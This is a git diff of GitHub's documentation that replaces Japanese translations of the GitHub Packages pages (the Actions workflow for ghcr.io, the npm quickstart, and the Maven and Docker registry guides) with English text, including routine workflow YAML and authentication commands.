or ghec %} Data transfer is also free when an action installs a package. 詳しい情報については、「[{% data variables.product.prodname_registry %}の支払いについて](/billing/managing-billing-for-github-packages/about-billing-for-github-packages)」を参照してください。{% endif %} +Installing packages hosted by {% data variables.product.prodname_registry %} through {% data variables.product.prodname_actions %} requires minimal configuration or additional authentication when you use the `GITHUB_TOKEN`.{% ifversion fpt or ghec %} Data transfer is also free when an action installs a package. For more information, see "[About billing for {% data variables.product.prodname_registry %}](/billing/managing-billing-for-github-packages/about-billing-for-github-packages)."{% endif %} {% data reusables.package_registry.actions-configuration %} {% ifversion fpt or ghec %} -## `ghcr.io`にアクセスするワークフローのアップグレード +## Upgrading a workflow that accesses `ghcr.io` -{% data variables.product.prodname_container_registry %}は、ワークフロー内での容易でセキュアな認証のために`GITHUB_TOKEN`をサポートします。 ワークフローが`ghcr.io`での認証のために個人アクセストークン（PAT）を使っているなら、`GITHUB_TOKEN`を使うようにワークフローを更新することを強くおすすめします。 +The {% data variables.product.prodname_container_registry %} supports the `GITHUB_TOKEN` for easy and secure authentication in your workflows. If your workflow is using a personal access token (PAT) to authenticate to `ghcr.io`, then we highly recommend you update your workflow to use the `GITHUB_TOKEN`. -`GITHUB_TOKEN`に関する詳しい情報については「[ワークフロー中の認証](/actions/reference/authentication-in-a-workflow#using-the-github_token-in-a-workflow)」を参照してください。 +For more information about the `GITHUB_TOKEN`, see "[Authentication in a workflow](/actions/reference/authentication-in-a-workflow#using-the-github_token-in-a-workflow)." -PATの代わりに`repo`スコープを含む`GITHUB_TOKEN`を使えば、ワークフローが実行されるリポジトリへの不要なアクセスを提供する長期間有効なPATを使う必要がなくなるので、リポジトリのセキュリティが向上します。 セキュリティのベストプラクティスに関する詳しい情報については「[GitHub Actionsのセキュリティ強化](/actions/learn-github-actions/security-hardening-for-github-actions#using-secrets)」を参照してください。 +Using the `GITHUB_TOKEN` instead of a PAT, which includes the `repo` scope, increases the security of your repository as you don't need to use a long-lived PAT that offers unnecessary access to the repository where your workflow is run. For more information about security best practices, see "[Security hardening for GitHub Actions](/actions/learn-github-actions/security-hardening-for-github-actions#using-secrets)." -1. パッケージのランディングページにアクセスしてください。 -1. ひだりのサイドバーで**Actions access（Actionsのアクセス）**をクリックしてください。 ![左メニューの"Actionsアクセス"オプション](/assets/images/help/package-registry/organization-repo-access-for-a-package.png) -1. コンテナパッケージがワークフローに確実にアクセスできるようにするためには、ワークフローが保存されているリポジトリをコンテナに追加しなければなりません。 **Add repository（リポジトリの追加）**をクリックし、追加したいリポジトリを検索してください。 !["リポジトリの追加"ボタン](/assets/images/help/package-registry/add-repository-button.png) +1. Navigate to your package landing page. +1. In the left sidebar, click **Actions access**. + !["Actions access" option in left menu](/assets/images/help/package-registry/organization-repo-access-for-a-package.png) +1. To ensure your container package has access to your workflow, you must add the repository where the workflow is stored to your container. Click **Add repository** and search for the repository you want to add. + !["Add repository" button](/assets/images/help/package-registry/add-repository-button.png) {% note %} - **ノート:** **Actionsのアクセス**メニューオプションを通じてリポジトリをコンテナに追加することは、コンテナをリポジトリに接続することとは異なります。 詳しい情報については「[パッケージへのワークフローアクセスの保証](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility#ensuring-workflow-access-to-your-package)」及び「[リポジトリのパッケージへの接続](/packages/learn-github-packages/connecting-a-repository-to-a-package)」を参照してください。 + **Note:** Adding a repository to your container through the **Actions access** menu option is different than connecting your container to a repository. For more information, see "[Ensuring workflow access to your package](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility#ensuring-workflow-access-to-your-package)" and "[Connecting a repository to a package](/packages/learn-github-packages/connecting-a-repository-to-a-package)." {% endnote %} -1. あるいは"role（ロール）"ドロップダウンメニューを使い、コンテナイメージに対してリポジトリに持たせたいデフォルトのアクセスレベルを選択してください。 ![リポジトリに付与する権限アクセスレベル](/assets/images/help/package-registry/repository-permission-options-for-package-access-through-actions.png) -1. ワークフローファイルを開いてください。 `ghcr.io`へのログインの行で、PATを{% raw %}`${{ secrets.GITHUB_TOKEN }}`{% endraw %}に置き換えてください。 +1. Optionally, using the "role" drop-down menu, select the default access level that you'd like the repository to have to your container image. + ![Permission access levels to give to repositories](/assets/images/help/package-registry/repository-permission-options-for-package-access-through-actions.png) +1. Open your workflow file. On the line where you log in to `ghcr.io`, replace your PAT with {% raw %}`${{ secrets.GITHUB_TOKEN }}`{% endraw %}. -たとえば、このワークフローは {% raw %}`${{ secrets.GITHUB_TOKEN }}`{% endraw %}を認証に使ってDockerイメージを公開します。 +For example, this workflow publishes a Docker image using {% raw %}`${{ secrets.GITHUB_TOKEN }}`{% endraw %} to authenticate. ```yaml{:copy} name: Demo Push on: push: - # `master`をDockerの`latest`イメージとして公開。. + # Publish `master` as Docker `latest` image. branches: - master - seed - # `v1.2.3`タグをリリースとして公開。 + # Publish `v1.2.3` tags as releases. tags: - v* - # 任意のPRに対してテストを実行。. + # Run tests for any PRs. pull_request: env: IMAGE_NAME: ghtoken_product_demo jobs: - # GitHub Packagesにイメージをプッシュ。 + # Push image to GitHub Packages. # See also https://docs.docker.com/docker-hub/builds/ push: runs-on: ubuntu-latest{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} @@ -542,20 +545,20 @@ jobs: run: docker build . --file Dockerfile --tag $IMAGE_NAME --label "runnumber=${GITHUB_RUN_ID}" - name: Log in to registry - # ここでPATをGITHUB_TOKENに更新する + # This is where you will update the PAT to GITHUB_TOKEN run: echo "${{ secrets.GITHUB_TOKEN }}" | docker login ghcr.io -u ${{ github.actor }} --password-stdin - name: Push image run: | IMAGE_ID=ghcr.io/${{ github.repository_owner }}/$IMAGE_NAME - # すべての大文字を小文字に変換 + # Change all uppercase to lowercase IMAGE_ID=$(echo $IMAGE_ID | tr '[A-Z]' '[a-z]') - # バージョンからgit refプレフィックスを取り除く + # Strip git ref prefix from version VERSION=$(echo "${{ github.ref }}" | sed -e 's,.*/\(.*\),\1,') - # タグ名から"v"プレフィックスを取り除く + # Strip "v" prefix from tag name [[ "${{ github.ref }}" == "refs/tags/"* ]] && VERSION=$(echo $VERSION | sed -e 's/^v//') - # Dockerの`latest`タグの慣例を使用 + # Use Docker `latest` tag convention [ "$VERSION" == "master" ] && VERSION=latest echo IMAGE_ID=$IMAGE_ID echo VERSION=$VERSION diff --git a/translations/ja-JP/content/packages/quickstart.md b/translations/ja-JP/content/packages/quickstart.md index 611bf29db7..6a158eb85f 100644 --- a/translations/ja-JP/content/packages/quickstart.md +++ b/translations/ja-JP/content/packages/quickstart.md @@ -1,37 +1,37 @@ --- -title: GitHub Packagesのクイックスタート -intro: '{% data variables.product.prodname_actions %}で{% data variables.product.prodname_registry %}に公開します。' +title: Quickstart for GitHub Packages +intro: 'Publish to {% data variables.product.prodname_registry %} with {% data variables.product.prodname_actions %}.' allowTitleToDifferFromFilename: true versions: fpt: '*' ghes: '*' ghae: '*' ghec: '*' -shortTitle: クイックスタート +shortTitle: Quickstart --- {% data reusables.actions.enterprise-github-hosted-runners %} {% data reusables.actions.ae-beta %} -## はじめに +## Introduction -このガイドでは、コードをテストする{% data variables.product.prodname_actions %}ワークフローを作成して、それを{% data variables.product.prodname_registry %}に公開します。 +In this guide, you'll create a {% data variables.product.prodname_actions %} workflow to test your code and then publish it to {% data variables.product.prodname_registry %}. -## パッケージを公開する +## Publishing your package -1. {% data variables.product.prodname_dotcom %} に新しいリポジトリを作成し、ノードに`.gitignore`を追加します。 {% ifversion ghes < 3.1 %}このパッケージを後で削除したい場合は、プライベートリポジトリを作成します。パブリックパッケージは削除できません。{% endif %}詳しい情報については、「[新しいリポジトリを作成する](/github/creating-cloning-and-archiving-repositories/creating-a-new-repository)」を参照してください。 -2. リポジトリをローカルマシンにクローンします。 +1. Create a new repository on {% data variables.product.prodname_dotcom %}, adding the `.gitignore` for Node. {% ifversion ghes < 3.1 %} Create a private repository if you’d like to delete this package later, public packages cannot be deleted.{% endif %} For more information, see "[Creating a new repository](/github/creating-cloning-and-archiving-repositories/creating-a-new-repository)." +2. Clone the repository to your local machine. ```shell $ git clone https://{% ifversion ghae %}YOUR-HOSTNAME{% else %}github.com{% endif %}/YOUR-USERNAME/YOUR-REPOSITORY.git $ cd YOUR-REPOSITORY ``` -3. `index.js`ファイルを作成し、「Hello world!」を表示する基本的なアラートを作成します。 +3. Create an `index.js` file and add a basic alert to say "Hello world!" {% raw %} ```javascript{:copy} alert("Hello, World!"); ``` {% endraw %} -4. npmパッケージを`npm init`で初期化します。 パッケージ初期化ウィザードで、_`@YOUR-USERNAME/YOUR-REPOSITORY`_の形式で名前を入力し、テストスクリプトを`exit 0`に設定します。 これにより、パッケージの情報が付いた`package.json`ファイルが生成されます。 +4. Initialize an npm package with `npm init`. In the package initialization wizard, enter your package with the name: _`@YOUR-USERNAME/YOUR-REPOSITORY`_, and set the test script to `exit 0`. This will generate a `package.json` file with information about your package. {% raw %} ```shell $ npm init @@ -42,15 +42,15 @@ shortTitle: クイックスタート ... ``` {% endraw %} -5. `npm install`を実行して`package-lock.json`ファイルを生成し、変更をコミットして{% data variables.product.prodname_dotcom %}にプッシュします。 +5. Run `npm install` to generate the `package-lock.json` file, then commit and push your changes to {% data variables.product.prodname_dotcom %}. ```shell $ npm install $ git add index.js package.json package-lock.json $ git commit -m "initialize npm package" $ git push ``` -6. `.github/workflows`ディレクトリを作成します。 このディレクトリ内に、`release-package.yml`という名前のファイルを作成します。 -7. 以下の内容のYAMLを`release-package.yml`ファイルにコピーします。{% ifversion ghae %}`YOUR-HOSTNAME`をEnterpriseの名前に置き換えてください。{% endif %}. +6. Create a `.github/workflows` directory. In that directory, create a file named `release-package.yml`. +7. Copy the following YAML content into the `release-package.yml` file{% ifversion ghae %}, replacing `YOUR-HOSTNAME` with the name of your enterprise{% endif %}. ```yaml{:copy} name: Node.js Package @@ -86,14 +86,14 @@ shortTitle: クイックスタート env: NODE_AUTH_TOKEN: ${% raw %}{{secrets.GITHUB_TOKEN}}{% endraw %} ``` -8. NPMに、以下のいずれかの方法を使ってどのスコープ及びリポジトリにパッケージを公開するかを伝えます。 - - `.npmrc`ファイルを作成することによって、リポジトリのためのNPM設定ファイルを以下の内容でルートディレクトリに追加する: +8. Tell NPM which scope and registry to publish packages to using one of the following methods: + - Add an NPM configuration file for the repository by creating a `.npmrc` file in the root directory with the contents: {% raw %} ```shell @YOUR-USERNAME:registry=https://npm.pkg.github.com ``` {% endraw %} - - `package.json`ファイルを編集し、`publishConfig`キーを指定する: + - Edit the `package.json` file and specify the `publishConfig` key: {% raw %} ```shell "publishConfig": { @@ -101,37 +101,37 @@ shortTitle: クイックスタート } ``` {% endraw %} -9. コミットして変更を{% data variables.product.prodname_dotcom %}にプッシュします。 +9. Commit and push your changes to {% data variables.product.prodname_dotcom %}. ```shell $ git add .github/workflows/release-package.yml - # 前のステップで作成もしくは編集したファイルも追加する + # Also add the file you created or edited in the previous step. $ git add .npmrc or package.json $ git commit -m "workflow to publish package" $ git push ``` -10. 作成したワークフローは、リポジトリに新しいリリースが作成されるたびに実行されます。 テストにパスすると、パッケージは{% data variables.product.prodname_registry %}に公開されます。 +10. The workflow that you created will run whenever a new release is created in your repository. If the tests pass, then the package will be published to {% data variables.product.prodname_registry %}. + + To test this out, navigate to the **Code** tab in your repository and create a new release. For more information, see "[Managing releases in a repository](/github/administering-a-repository/managing-releases-in-a-repository#creating-a-release)." - これを試すには、リポジトリの [**Code**] タブに移動し、新しいリリースを作成します。 詳しい情報については、「[リポジトリのリリースを管理する](/github/administering-a-repository/managing-releases-in-a-repository#creating-a-release)」を参照してください。 +## Viewing your published package -## 公開したパッケージを表示する - -公開したすべてのパッケージは、見ることができます。 +You can view all of the packages you have published. {% data reusables.repositories.navigate-to-repo %} {% data reusables.package_registry.packages-from-code-tab %} {% data reusables.package_registry.navigate-to-packages %} -## 公開したパッケージをインストールする +## Installing a published package -これでパッケージを公開できたので、プロジェクト全体で依存関係として利用できます。 詳しい情報については「[npmレジストリの利用](/packages/working-with-a-github-packages-registry/working-with-the-npm-registry#installing-a-package)」を参照してください。 +Now that you've published the package, you'll want to use it as a dependency across your projects. For more information, see "[Working with the npm registry](/packages/working-with-a-github-packages-registry/working-with-the-npm-registry#installing-a-package)." -## 次のステップ +## Next steps -ここで追加した基本的なワークフローは、リポジトリ内に新しいリリースが作成されるたびに実行されます。 ただしこれは、{% data variables.product.prodname_registry %}でできることの手始めにすぎません。 単一のワークフローで複数のレジストリにパッケージを公開する、ワークフローをトリガーしてマージされたプルリクエストなどさまざまなイベントで実行する、コンテナを管理するなど、いろいろなことができます。 +The basic workflow you just added runs any time a new release is created in your repository. But this is only the beginning of what you can do with {% data variables.product.prodname_registry %}. You can publish your package to multiple registries with a single workflow, trigger the workflow to run on different events such as a merged pull request, manage containers, and more. -{% data variables.product.prodname_registry %}と{% data variables.product.prodname_actions %}を組み合わせることで、プリケーション開発プロセスのほぼすべての要素を自動化するために役立ちます。 始める準備はできましたか？ 以下は、{% data variables.product.prodname_registry %}および{% data variables.product.prodname_actions %}で次のステップへ進むために役立つリソースです。 +Combining {% data variables.product.prodname_registry %} and {% data variables.product.prodname_actions %} can help you automate nearly every aspect of your application development processes. Ready to get started? Here are some helpful resources for taking your next steps with {% data variables.product.prodname_registry %} and {% data variables.product.prodname_actions %}: -- GitHub Packagesについての詳細なチュートリアル、「[{% data variables.product.prodname_registry %}を学ぶ](/packages/learn-github-packages)」 -- GitHub Actionsの詳細なチュートリアル、「[{% data variables.product.prodname_actions %}を学ぶ](/actions/learn-github-actions)」 -- 特定のユースケースと例のための「[{% data variables.product.prodname_registry %}レジストリの利用](/packages/working-with-a-github-packages-registry)」 +- "[Learn {% data variables.product.prodname_registry %}](/packages/learn-github-packages)" for an in-depth tutorial on GitHub Packages +- "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)" for an in-depth tutorial on GitHub Actions +- "[Working with a {% data variables.product.prodname_registry %} registry](/packages/working-with-a-github-packages-registry)" for specific uses cases and examples diff --git a/translations/ja-JP/content/packages/working-with-a-github-packages-registry/working-with-the-apache-maven-registry.md b/translations/ja-JP/content/packages/working-with-a-github-packages-registry/working-with-the-apache-maven-registry.md index a2f3153e4f..a494c22c11 100644 --- a/translations/ja-JP/content/packages/working-with-a-github-packages-registry/working-with-the-apache-maven-registry.md +++ b/translations/ja-JP/content/packages/working-with-a-github-packages-registry/working-with-the-apache-maven-registry.md @@ -1,6 +1,6 @@ --- -title: Apache Mavenレジストリの利用 -intro: '{% data variables.product.prodname_registry %} にパッケージを公開するよう Apache Mavenを設定し、{% data variables.product.prodname_registry %} に保存されたパッケージを依存関係としてJavaプロジェクトで利用できます。' +title: Working with the Apache Maven registry +intro: 'You can configure Apache Maven to publish packages to {% data variables.product.prodname_registry %} and to use packages stored on {% data variables.product.prodname_registry %} as dependencies in a Java project.' product: '{% data reusables.gated-features.packages %}' redirect_from: - /articles/configuring-apache-maven-for-use-with-github-package-registry @@ -13,36 +13,36 @@ versions: ghes: '*' ghae: '*' ghec: '*' -shortTitle: Apache Mavenレジストリ +shortTitle: Apache Maven registry --- {% data reusables.package_registry.packages-ghes-release-stage %} {% data reusables.package_registry.packages-ghae-release-stage %} -{% data reusables.package_registry.default-name %} たとえば、{% data variables.product.prodname_dotcom %}は`OWNER/test`というリポジトリ内の`com.example:test`という名前のパッケージを公開します。 +{% data reusables.package_registry.admins-can-configure-package-types %} -## {% data variables.product.prodname_registry %} への認証を行う +## Authenticating to {% data variables.product.prodname_registry %} {% data reusables.package_registry.authenticate-packages %} {% data reusables.package_registry.authenticate-packages-github-token %} -### 個人アクセストークンでの認証 +### Authenticating with a personal access token {% data reusables.package_registry.required-scopes %} -*~/.m2/settings.xml*ファイルを編集して個人アクセストークンを含めることで、Apache Mavenで{% data variables.product.prodname_registry %}の認証を受けられます。 *~/.m2/settings.xml*ファイルがないなら新しく作成してください。 +You can authenticate to {% data variables.product.prodname_registry %} with Apache Maven by editing your *~/.m2/settings.xml* file to include your personal access token. Create a new *~/.m2/settings.xml* file if one doesn't exist. -`servers`タグの中に、子として`server`タグを`id`付きで追加し、*USERNAME*を{% data variables.product.prodname_dotcom %}のユーザ名で、*TOKEN*を個人アクセストークンで置き換えてください。 +In the `servers` tag, add a child `server` tag with an `id`, replacing *USERNAME* with your {% data variables.product.prodname_dotcom %} username, and *TOKEN* with your personal access token. -`repositories`の中で、リポジトリの`id`をクレデンシャルを含む`server`タグに追加した`id`にマッピングして、リポジトリを設定してください。 {% ifversion ghes or ghae %} *HOSTNAME* を {% data variables.product.product_location %} のホスト名に、{% endif %}*OWNER* をリポジトリを所有するユーザもしくはOrganizationの名前に置き換えます。 大文字はサポートされていないため、仮に{% data variables.product.prodname_dotcom %}のユーザあるいはOrganization名が大文字を含んでいても、リポジトリオーナーには小文字を使わなければなりません。 +In the `repositories` tag, configure a repository by mapping the `id` of the repository to the `id` you added in the `server` tag containing your credentials. Replace {% ifversion ghes or ghae %}*HOSTNAME* with the host name of {% data variables.product.product_location %}, and{% endif %} *OWNER* with the name of the user or organization account that owns the repository. Because uppercase letters aren't supported, you must use lowercase letters for the repository owner even if the {% data variables.product.prodname_dotcom %} user or organization name contains uppercase letters. -複数のリポジトリとやりとりをしたい場合には、それぞれのリポジトリを`repositories`タグの子の個別の`repository`に追加し、それぞれの`id`を`servers` タグのクレデンシャルにマッピングできます。 +If you want to interact with multiple repositories, you can add each repository to separate `repository` children in the `repositories` tag, mapping the `id` of each to the credentials in the `servers` tag. {% data reusables.package_registry.apache-maven-snapshot-versions-supported %} {% ifversion ghes %} -パッケージの作成に関する詳しい情報については[maven.apache.orgのドキュメンテーション](https://maven.apache.org/guides/getting-started/maven-in-five-minutes.html)を参照してください。 +If your instance has subdomain isolation enabled: {% endif %} ```xml @@ -85,7 +85,7 @@ shortTitle: Apache Mavenレジストリ ``` {% ifversion ghes %} -たとえば、以下の*OctodogApp*と*OctocatApp*は同じリポジトリに公開されます。 +If your instance has subdomain isolation disabled: ```xml `要素に含めてください。 {% data variables.product.prodname_dotcom %} は、このこのフィールドを元にしてリポジトリを照合します。 リポジトリ名も`distributionManagement`要素の一部なので、複数のパッケージを同じリポジトリに公開するための追加手順はありません。 +If you would like to publish multiple packages to the same repository, you can include the URL of the repository in the `` element of the *pom.xml* file. {% data variables.product.prodname_dotcom %} will match the repository based on that field. Since the repository name is also part of the `distributionManagement` element, there are no additional steps to publish multiple packages to the same repository. -パッケージの作成に関する詳しい情報については[maven.apache.orgのドキュメンテーション](https://maven.apache.org/guides/getting-started/maven-in-five-minutes.html)を参照してください。 +For more information on creating a package, see the [maven.apache.org documentation](https://maven.apache.org/guides/getting-started/maven-in-five-minutes.html). -1. パッケージディレクトリにある*pom.xml*ファイルの`distributionManagement`要素を編集し、{% ifversion ghes or ghae %}*HOSTNAME*を{% data variables.product.product_location %}のホスト名で、{% endif %}`OWNER`をリポジトリを所有するユーザもしくはOrganizationアカウント名で、`REPOSITORY`をプロジェクトを含むリポジトリ名で置き換えてください。{% ifversion ghes %} +1. Edit the `distributionManagement` element of the *pom.xml* file located in your package directory, replacing {% ifversion ghes or ghae %}*HOSTNAME* with the host name of {% data variables.product.product_location %}, {% endif %}`OWNER` with the name of the user or organization account that owns the repository and `REPOSITORY` with the name of the repository containing your project.{% ifversion ghes %} - もしもインスタンスでSubdomain Isolationが有効化されているなら:{% endif %} + If your instance has subdomain isolation enabled:{% endif %} ```xml @@ -158,19 +158,19 @@ shortTitle: Apache Mavenレジストリ ```{% endif %} {% data reusables.package_registry.checksum-maven-plugin %} -1. パッケージを公開します。 +1. Publish the package. ```shell $ mvn deploy ``` {% data reusables.package_registry.viewing-packages %} -## パッケージをインストールする +## Installing a package -{% data variables.product.prodname_registry %}からApache Mavenパッケージをインストールするには、*pom.xml*ファイルを編集してパッケージを依存関係として含めてください。 複数のリポジトリからパッケージをインストールしたい場合は、それぞれについて`repository`タグを追加してください。 プロジェクト内での*pom.xml*ファイルの利用に関する詳しい情報については、Apache Mavenドキュメンテーション中の「[ Introduction to the POM](https://maven.apache.org/guides/introduction/introduction-to-the-pom.html)」を参照してください。 +To install an Apache Maven package from {% data variables.product.prodname_registry %}, edit the *pom.xml* file to include the package as a dependency. If you want to install packages from more than one repository, add a `repository` tag for each. For more information on using a *pom.xml* file in your project, see "[Introduction to the POM](https://maven.apache.org/guides/introduction/introduction-to-the-pom.html)" in the Apache Maven documentation. {% data reusables.package_registry.authenticate-step %} -2. パッケージの依存関係をプロジェクトの*pom.xml*ファルの`dependencies`要素に追加し、`com.example:test`をパッケージで置き換えてください。 +2. Add the package dependencies to the `dependencies` element of your project *pom.xml* file, replacing `com.example:test` with your package. ```xml @@ -182,13 +182,13 @@ shortTitle: Apache Mavenレジストリ ``` {% data reusables.package_registry.checksum-maven-plugin %} -3. パッケージをインストールします。 +3. Install the package. ```shell $ mvn install ``` -## 参考リンク +## Further reading -- 「[Gradleレジストリの利用](/packages/working-with-a-github-packages-registry/working-with-the-gradle-registry)」 +- "[Working with the Gradle registry](/packages/working-with-a-github-packages-registry/working-with-the-gradle-registry)" - "{% ifversion fpt or ghes > 3.0 or ghec %}[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package){% elsif ghes < 3.1 or ghae %}[Deleting a package](/packages/learn-github-packages/deleting-a-package){% endif %}" diff --git a/translations/ja-JP/content/packages/working-with-a-github-packages-registry/working-with-the-docker-registry.md b/translations/ja-JP/content/packages/working-with-a-github-packages-registry/working-with-the-docker-registry.md index 38866e4ed2..e27195ffd4 100644 --- a/translations/ja-JP/content/packages/working-with-a-github-packages-registry/working-with-the-docker-registry.md +++ b/translations/ja-JP/content/packages/working-with-a-github-packages-registry/working-with-the-docker-registry.md @@ -1,5 +1,5 @@ --- -title: Dockerレジストリの利用 +title: Working with the Docker registry intro: '{% ifversion fpt or ghec %}The Docker registry has now been replaced by the {% data variables.product.prodname_container_registry %}.{% else %}You can push and pull your Docker images using the {% data variables.product.prodname_registry %} Docker registry, which uses the package namespace `https://docker.pkg.github.com`.{% endif %}' product: '{% data reusables.gated-features.packages %}' redirect_from: @@ -14,15 +14,15 @@ versions: ghes: '*' ghae: '*' ghec: '*' -shortTitle: Dockerレジストリ +shortTitle: Docker registry --- {% ifversion fpt or ghec %} -{% data variables.product.prodname_dotcom %}のDockerレジストリ（これは`docker.pkg.github.com`という名前空間を使いました）は、{% data variables.product.prodname_container_registry %}（これは`https://ghcr.io`という名前空間を使います）で置き換えられました。 {% data variables.product.prodname_container_registry %}は、詳細な権限やDockerイメージに対するストレージに最適化といった利点を提供します。 +{% data variables.product.prodname_dotcom %}'s Docker registry (which used the namespace `docker.pkg.github.com`) has been replaced by the {% data variables.product.prodname_container_registry %} (which uses the namespace `https://ghcr.io`). The {% data variables.product.prodname_container_registry %} offers benefits such as granular permissions and storage optimization for Docker images. -以前はDockerレジストリに保存されていたDockerイメージは、自動的に{% data variables.product.prodname_container_registry %}に移行されます。 詳しい情報については「[Dockerレジストリから{% data variables.product.prodname_container_registry %}への移行](/packages/working-with-a-github-packages-registry/migrating-to-the-container-registry-from-the-docker-registry)」及び「[{% data variables.product.prodname_container_registry %}での作業](/packages/working-with-a-github-packages-registry/working-with-the-container-registry)」を参照してください。 +Docker images previously stored in the Docker registry are being automatically migrated into the {% data variables.product.prodname_container_registry %}. For more information, see "[Migrating to the {% data variables.product.prodname_container_registry %} from the Docker registry](/packages/working-with-a-github-packages-registry/migrating-to-the-container-registry-from-the-docker-registry)" and "[Working with the {% data variables.product.prodname_container_registry %}](/packages/working-with-a-github-packages-registry/working-with-the-container-registry)." {% else %} @@ -30,25 +30,25 @@ shortTitle: Dockerレジストリ {% data reusables.package_registry.packages-ghes-release-stage %} {% data reusables.package_registry.packages-ghae-release-stage %} -{% data reusables.package_registry.default-name %} たとえば、{% data variables.product.prodname_dotcom %}は`OWNER/test`というリポジトリ内の`com.example:test`という名前のパッケージを公開します。 +{% data reusables.package_registry.admins-can-configure-package-types %} -## Dockerサポートについて +## About Docker support -Dockerイメージをインストールあるいは公開する際に、Dockerレジストリは現在Windowsイメージのような外部レイヤーをサポートしません。 +When installing or publishing a Docker image, the Docker registry does not currently support foreign layers, such as Windows images. -## {% data variables.product.prodname_registry %} への認証を行う +## Authenticating to {% data variables.product.prodname_registry %} {% data reusables.package_registry.authenticate-packages %} {% data reusables.package_registry.authenticate-packages-github-token %} -### 個人アクセストークンでの認証 +### Authenticating with a personal access token {% data reusables.package_registry.required-scopes %} -`docker` loginコマンドを使い、Dockerで{% data variables.product.prodname_registry %}の認証を受けることができます。 +You can authenticate to {% data variables.product.prodname_registry %} with Docker using the `docker` login command. -クレデンシャルをセキュアに保つ貯めに、個人アクセストークンは自分のコンピュータのローカルファイルに保存し、ローカルファイルからトークンを読み取るDockerの`--password-stdin`フラグを使うことをおすすめします。 +To keep your credentials secure, we recommend you save your personal access token in a local file on your computer and use Docker's `--password-stdin` flag, which reads your token from a local file. {% ifversion fpt or ghec %} {% raw %} @@ -60,24 +60,15 @@ Dockerイメージをインストールあるいは公開する際に、Docker {% ifversion ghes or ghae %} {% ifversion ghes %} -パッケージの作成に関する詳しい情報については[maven.apache.orgのドキュメンテーション](https://maven.apache.org/guides/getting-started/maven-in-five-minutes.html)を参照してください。 +If your instance has subdomain isolation enabled: {% endif %} {% raw %} ```shell - $ docker images - -> REPOSITORY TAG IMAGE ID CREATED SIZE -> monalisa 1.0 c75bebcdd211 4 weeks ago 1.11MB - -# OWNER/REPO/IMAGE_NAMEでイメージにタグ付けする -$ docker tag c75bebcdd211 docker.pkg.github.com/octocat/octo-app/monalisa:1.0 - -# {{ site.data.variables.product.prodname_registry }}にイメージをプッシュ -$ docker push docker.pkg.github.com/octocat/octo-app/monalisa:1.0 + $ cat ~/TOKEN.txt | docker login docker.HOSTNAME -u USERNAME --password-stdin ``` {% endraw %} {% ifversion ghes %} -たとえば、以下の*OctodogApp*と*OctocatApp*は同じリポジトリに公開されます。 +If your instance has subdomain isolation disabled: {% raw %} ```shell @@ -90,81 +81,81 @@ $ docker push docker.pkg.github.com/octocat/octo-app/monalisa:1.0 To use this example login command, replace `USERNAME` with your {% data variables.product.product_name %} username{% ifversion ghes or ghae %}, `HOSTNAME` with the URL for {% data variables.product.product_location %},{% endif %} and `~/TOKEN.txt` with the file path to your personal access token for {% data variables.product.product_name %}. -詳しい情報については「[Docker login](https://docs.docker.com/engine/reference/commandline/login/#provide-a-password-using-stdin)」を参照してください。 +For more information, see "[Docker login](https://docs.docker.com/engine/reference/commandline/login/#provide-a-password-using-stdin)." -## イメージを公開する +## Publishing an image {% data reusables.package_registry.docker_registry_deprecation_status %} {% note %} -**注釈:** イメージ名には小文字のみを使用する必要があります。 +**Note:** Image names must only use lowercase letters. {% endnote %} -{% data variables.product.prodname_registry %} は、リポジトリごとに複数の最上位 Docker イメージをサポートしています。 リポジトリは任意の数のイメージタグを持つことができます。 10GB以上のDockerイメージの公開やインストールの際には、サービスのパフォーマンスが低下するかもしれず、各レイヤーは5GBが上限です。 詳しい情報については、Dockerのドキュメンテーションの「[Docker tag](https://docs.docker.com/engine/reference/commandline/tag/)」を参照してください。 +{% data variables.product.prodname_registry %} supports multiple top-level Docker images per repository. A repository can have any number of image tags. You may experience degraded service publishing or installing Docker images larger than 10GB, layers are capped at 5GB each. For more information, see "[Docker tag](https://docs.docker.com/engine/reference/commandline/tag/)" in the Docker documentation. {% data reusables.package_registry.viewing-packages %} -1. `docker images`を使って、Dockerイメージのイメージ名とIDを確認してください。 +1. Determine the image name and ID for your docker image using `docker images`. ```shell $ docker images > < > > REPOSITORY TAG IMAGE ID CREATED SIZE > IMAGE_NAME VERSION IMAGE_ID 4 weeks ago 1.11MB ``` -2. DockerイメージIDを使い、Dockerイメージにタグ付けしてください。*OWNER*をリポジトリを所有するユーザもしくはOrganizationアカウントの名前で、*REPOSITORY*をプロジェクトを含むリポジトリの名前で、*IMAGE_NAME*をパッケージもしくはイメージの名前で、{% ifversion ghes or ghae %}*HOSTNAME*を{% data variables.product.product_location %}のホスト名で、{% endif %}*VERSION*をビルドの時点のパッケージバージョンで置き換えてください。 +2. Using the Docker image ID, tag the docker image, replacing *OWNER* with the name of the user or organization account that owns the repository, *REPOSITORY* with the name of the repository containing your project, *IMAGE_NAME* with name of the package or image,{% ifversion ghes or ghae %} *HOSTNAME* with the hostname of {% data variables.product.product_location %},{% endif %} and *VERSION* with package version at build time. {% ifversion fpt or ghec %} ```shell $ docker tag IMAGE_ID docker.pkg.github.com/OWNER/REPOSITORY/IMAGE_NAME:VERSION ``` {% else %} {% ifversion ghes %} - パッケージの作成に関する詳しい情報については[maven.apache.orgのドキュメンテーション](https://maven.apache.org/guides/getting-started/maven-in-five-minutes.html)を参照してください。 + If your instance has subdomain isolation enabled: {% endif %} ```shell $ docker tag IMAGE_ID docker.HOSTNAME/OWNER/REPOSITORY/IMAGE_NAME:VERSION ``` {% ifversion ghes %} - たとえば、以下の*OctodogApp*と*OctocatApp*は同じリポジトリに公開されます。 + If your instance has subdomain isolation disabled: ```shell $ docker tag IMAGE_ID HOSTNAME/OWNER/REPOSITORY/IMAGE_NAME:VERSION ``` {% endif %} {% endif %} -3. まだパッケージのDockerイメージをビルドしていないならビルドしてください。*OWNER*をリポジトリを所有するユーザもしくはOrganizationアカウントの名前で、*REPOSITORY*をプロジェクトを含むリポジトリの名前で、*IMAGE_NAME*をパッケージもしくはイメージの名前で、*VERSION*をビルド時点のパッケージバージョンで、{% ifversion ghes or ghae %}*HOSTNAME*を{% data variables.product.product_location %}のホスト名で、{% endif %}もしもイメージが現在の作業ディレクトリ中になければ*PATH*をイメージへのパスで置き換えてください。 +3. If you haven't already built a docker image for the package, build the image, replacing 